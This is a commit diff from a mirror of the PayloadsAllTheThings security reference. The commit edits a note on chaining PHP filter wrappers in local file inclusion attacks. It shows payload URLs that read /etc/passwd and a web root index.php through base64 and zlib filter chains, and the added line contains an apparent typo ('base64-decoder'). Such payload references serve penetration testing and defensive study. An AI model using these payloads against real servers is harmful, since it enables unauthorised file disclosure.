mirror of
https://github.com/swisskyrepo/PayloadsAllTheThings.git
synced 2025-02-20 05:36:06 +00:00
added additional way to chain php filters
This commit is contained in:
parent
7d650e9622
commit
9d06e1297f
@ -133,8 +133,8 @@ can be chained with a compression wrapper for large files.
|
||||
http://example.com/index.php?page=php://filter/zlib.deflate/convert.base64-encode/resource=/etc/passwd
|
||||
```
|
||||
|
||||
NOTE: Wrappers can be chained multiple times :
|
||||
- Multiple base64 decodes: `php://filter/convert.base64-decode/convert.base64-decode/convert.base64-decode/resource=%s`
|
||||
NOTE: Wrappers can be chained multiple times using `|` or `/`:
|
||||
- Multiple base64 decodes: `php://filter/convert.base64-decoder|convert.base64-decode|convert.base64-decode/resource=%s`
|
||||
- deflate then base64encode (useful for limited character exfil): `php://filter/zlib.deflate/convert.base64-encode/resource=/var/www/html/index.php`
|
||||
|
||||
```powershell
|
||||
|
Loading…
Reference in New Issue
Block a user